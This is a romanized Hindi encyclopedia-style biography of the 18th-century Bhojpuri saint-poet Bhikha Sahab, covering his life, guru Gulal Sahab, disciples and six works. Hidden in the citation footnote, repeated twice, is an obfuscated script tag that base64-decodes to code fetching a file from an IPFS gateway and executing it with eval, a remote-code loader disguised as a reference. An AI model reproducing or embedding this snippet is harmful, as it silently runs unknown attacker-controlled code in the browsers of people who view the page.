भीखा साहब

	bhikha sahab
	bhikha sahab\|200px\|center
poora nam	bhikhanand chaube
janm bhoomi	khanapur bohana, ajamagadh zila, uttar pradesh
mrityu	1791 ee.
karm bhoomi	bharat
mukhy rachanaean	'ram kundaliya', 'ram sahasranam', 'ramasabad', 'ramarag', 'ram kavitt' aur 'bhagatavachchhavali' adi.
bhasha	bhojapuri
nagarikata	bharatiy
any janakari	bhikha sahab ne pad, kavitt, rekhata, kundaliya aur doha (sakhi) adi kee chhandoan ka prayog kiya hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi

bhikha sahab (bhikhanand chaube) bavari panth ki bhurakuda, gajipur shakha ke prasiddh sant gulam sahab ke shishy the. ve b de siddh aur anubhavi sant the. chamatkaroan aur dikhave mean ve vishvas nahian karate the. ve to itana janate the ki jo ram ka bhajan nahian karata, use kalaroop samajhana chahie-

'bhikha jehi tan ram bhajan nahian kalaroop tehi mani.'

janm tatha grih tyag

bhikha sahab ka janm ajamagadh zila, uttar pradesh ke khanapur bohana namak gram mean hua tha. unako bachapan se hi gaanv mean ane vale sadhu-sant akarshit kiya karate the. dhire-dhire unake man mean vairagy badhane laga. matr barah sal ki avastha mean hi unake vivah ki taiyari ki jane lagi thi. vivah ke rang- birange kap de pahanakar bhikha samajh ge ki unake pairoan mean grihasth-dharm ki be diyaan dali ja rahi haian. bas phir kya tha, ek din vah chupachap ghar se nikal bhage.^[1]

gulal sahab ke uttaradhikari

gajipur zile ke hi saidapur bhirati paragana ke amuara gaanv mean gulal sahab ke ek pad ka gan sunakar bhikha sahab unase itane prabhavit hue ki sidhe bhuraku da jakar unake shishy ho gaye. bhikha tejasvi mahatma the. bad mean gulal sahab ne bhikha ko diksha di. unaki sadhana itani badhi ki 1760 ee. mean gulal sahab ke bad bhikha sahab hi unake uttaradhikari bane.

shishy

bhikha sahab ke do pramukh shishy hue-

govind sahab
chaturbhujadas

inake shishy govind sahab ne phaijabad mean apani prithakh gaddi chalayi, jabaki chaturbhujadas bhuraku da mean hi rahe.

kritiyaan

bhikha sahab ki chh: kritiyaan prasiddh hai- 'ram kundaliya', 'ram sahasranam', 'ramasabad', 'ramarag', 'ram kavitt' aur 'bhagatavachchhavali'. in rachanaoan ka pramukh aansh belavediyar pres, ilahabad se prakashit 'bhikha sahab ki bani' aur bhuraku da gaddi se prakashit 'mahatmaoan ki bani' mean a gaya hai. 'ram sabad' sabase b di rachana hai, jisamean bhikha sahab ke atirikt any santoan ke saman bhav-dhara ke chhand bhi sangrahit haian. apaki kritiyoan mean sansar ki asarata, chanchal man ka nigrah, shabd brahm ki advaitata aur poornata, shabd-yog, nam-smaran, dainy, prem-niroopan, guru ki mahatta, atma ki sarvavyapakata aur sansari jivoan ka udbodhan varnit hai.^[1]

chhand tatha bhasha prayog

pitambaradatt b dathval ne bhikha sahab ki vicharadhara ko advait-vedaant-darshan ke nikat svikar kiya hai. apane pad, kavitt, rekhata, kundaliya aur doha (sakhi) adi kee chhandoan ka prayog kiya hai. inake gey padoan ki sankhya bhojapuri ke aur rekhata ki bhasha arabi-farasi se yukt kh di boli ke adhik nikat hai.

nidhan

san 1791 ee. mean bhikha sahab ne apani ihalila samapt ki.^[1] ve apani rachana-shaili ki subodhata, padoan ke lality aur vicharoan ki spashtata ke lie prasiddh haian.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 411 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ sahayak granth- uttari bharat ki sant parampara: parashuram chaturvedi; santakavy; santabani sangrah, bhag pahila, belavediyar pres, prayag.

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[aa-1] 1.0 ^1.1 ^1.2 hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 411 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] sahayak granth- uttari bharat ki sant parampara: parashuram chaturvedi; santakavy; santabani sangrah, bhag pahila, belavediyar pres, prayag.

[1]

[2]